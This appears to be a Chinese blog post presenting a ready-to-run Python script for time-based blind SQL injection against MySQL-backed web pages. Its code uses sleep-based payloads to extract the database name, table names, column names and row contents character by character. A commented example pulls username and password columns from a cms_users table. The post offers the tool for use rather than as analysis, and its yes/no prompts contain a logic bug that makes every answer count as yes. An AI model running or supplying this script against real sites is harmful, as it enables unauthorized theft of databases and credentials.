sql注入:延时注入python万能脚本

sql注入:延时注入python脚本

import requests
import binascii
def judgment_delay(complete_url):
    headers={
        "User-Agent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36"
    }
    try:
        requests.get(url=complete_url,headers=headers,timeout=3)
    except requests.exceptions.ReadTimeout:
        return "time out"
    else:
        return "normal"
def judgment_exploit(url):
    payload=" and sleep(6) #"
    complete_url=url+payload
    num=judgment_delay(complete_url)
    if "time out" in num:
        print("[+] 存在延迟漏洞")
    else:
        exit("[-] 不存在延迟漏洞")

def content(url,need_boom,table_name):
    num=len(need_boom)
    for j in range(0,100):
        if j==0:
            print("[+] 爆破字段内容模块启动成功")
            print("[+] 小脑瓜在飞速运作中请稍等.....")
        flag=0
        mh=0
        for k in need_boom:
            print("-------------------------------------------------------------------------------------------------------------------------------------")
            mh+=1
            for l in range(1,100):
                flag1=0
                for m in range(20,127):
                    payload=f" and if(ascii(substr((select {k} from {table_name} limit {j},1),{l},1))={m},sleep(5),1)"
                    complete_url = url + payload
                    if judgment_delay(complete_url) == "time out":
                        print(chr(m), end="")
                        flag=1
                        flag1=1
                        break
                if flag1==0 and l>100:
                    exit("[+] 爆破结束结束感谢使用")
                elif flag1==0:
                    break
            if mh<num and flag==1 :
                print(':',end="")
            print("--------------------------------------------------------------------------------------------------------------------------------------")
        if flag == 0:
            break


def column_name(url,table_name,table):
    print("[+] 爆破字段名模块启动成功")
    print("[+] 一拳超人正在蓄力中....")
    column_name_list=[]
    for i in range(0, 100):
        column_name = ""
        print(f"[{i + 1}]:", end="")
        flag = 0
        for j in range(1, 100):
            flag1 = 0
            for k in range(20, 127):
                payload = f" and if(ascii(substr((select column_name from information_schema.columns where table_schema = database() and table_name={table_name} limit {i},1),{j},1))={k},sleep(5),1) "
                complete_url = url + payload
                if judgment_delay(complete_url) == "time out":
                    print(chr(k), end="")
                    column_name += chr(k)
                    flag1 = 1
                    flag = 1
                    break
            if flag1 == 0:
                break
        if flag == 0:
            break
        column_name_list.append(column_name)
        print('\r')
    print("\r")
    if input("是否要爆破字段里的内容(y/n):")=="y" or "Y" :
        num=int(input("请输入要爆破的字段个数:"))
        need_boom=[]
        for i in range(0,num):
            need_boom.append(column_name_list[int(input("请输入要爆破的字段序号:"))-1])
        table_name=table
        content(url,need_boom,table_name)

def table_name(url):
    table_name_list=[]
    for i in range(0,100):
        table_name=""
        print(f"[{i+1}]:",end="")
        flag=0
        for j in range(1,100):
            flag1=0
            for k in range(20,127):
                payload=f" and if(ascii(substr((select table_name from information_schema.tables where table_schema=database() limit {i},1),{j},1))={k},sleep(5),1)"
                complete_url=url+payload
                if  judgment_delay(complete_url) == "time out":
                    print(chr(k),end="")
                    table_name+=chr(k)
                    flag1=1
                    flag=1
                    break
            if flag1==0:
                break
        print('\r')
        if flag ==0:
            break
        table_name_list.append(table_name)
    if input("是否爆破字段？(y/n):") == "y" or "Y":
        table=table_name_list[int(input("请输入要爆破哪张表里的字段的序号:"))-1]
        table_name = "0x" + binascii.hexlify(table.encode()).decode()
        column_name(url,table_name,table)
    else:
        exit("good bey")


def database_name(url,length):
    print("[+] 鸽鸽正在下蛋中......")
    database_name=""
    print("[+] 数据库名",end=":")
    for  i in range(1,length+1):
        for j in range(20,127):
            payload= f" and if(ascii(substr(database(),{i},1))={j},sleep(5),1) --+"
            conplete_url=url+payload
            if "time out" in judgment_delay(conplete_url):
                database_name+=chr(j)
                print(chr(j),end="")
                break
    print('\n')
    if input("是否爆破表名？(y/n):") == "y" or "Y" :
        print("[+] 小脑瓜正在飞速运转中...")
        table_name(url)
    else:
        exit("感谢使用！")

def database_length ():
    length=0
    url=input("请输入url:")
    judgment_exploit(url)
    print("正在计算长度...")
    for i in range(1,1000):
        payload=f" and if (length(database())={i},sleep(5),1)"
        conplete_url=url+payload
        if  "time out" in judgment_delay(conplete_url):
            length=i
            break
    print("[+] 数据库名的长度为:",length)
    if input("是否爆破库名？ (Y/N):") == 'y' or  'Y':
        database_name(url,length)
    else:
        exit()
print("""
            _   _____       _                      _   _       _           _   _             
           | | |  __ \     | |                    | | (_)     (_)         | | (_)            
  ___  __ _| | | |  | | ___| | __ _ _   _  ___  __| |  _ _ __  _  ___  ___| |_ _  ___  _ __  
 / __|/ _` | | | |  | |/ _ \ |/ _` | | | |/ _ \/ _` | | | '_ \| |/ _ \/ __| __| |/ _ \| '_ \ 
 \__ \ (_| | | | |__| |  __/ | (_| | |_| |  __/ (_| | | | | | | |  __/ (__| |_| | (_) | | | |
 |___/\__, |_| |_____/ \___|_|\__,_|\__, |\___|\__,_| |_|_| |_| |\___|\___|\__|_|\___/|_| |_|
         | |                         __/ |                   _/ |                            
         |_|                        |___/                   |__/                             
                                                                                                                --- xl
        延时注入脚本
        使用方法 
        python3 delay_injection.py http://127.0.0.1:8080/Less-1/?id
        help:
            url=http://ip/cms/show.php?id=33        
""")
# l=["username","password"]
# content(url="http://10.9.47.77/cms/show.php?id=33",need_boom=l,table_name='cms_users')

try:
    database_length()
except requests.exceptions.MissingSchema:
    exit("[-] 启动失败请检测url是否正确")
except NameError:
    exit("[-] 启动失败请检测环境是否正确")
except KeyboardInterrupt:
    exit("[-] 用户结束脚本")
except Exception:
    exit("[-] 用户操作错误")

效果: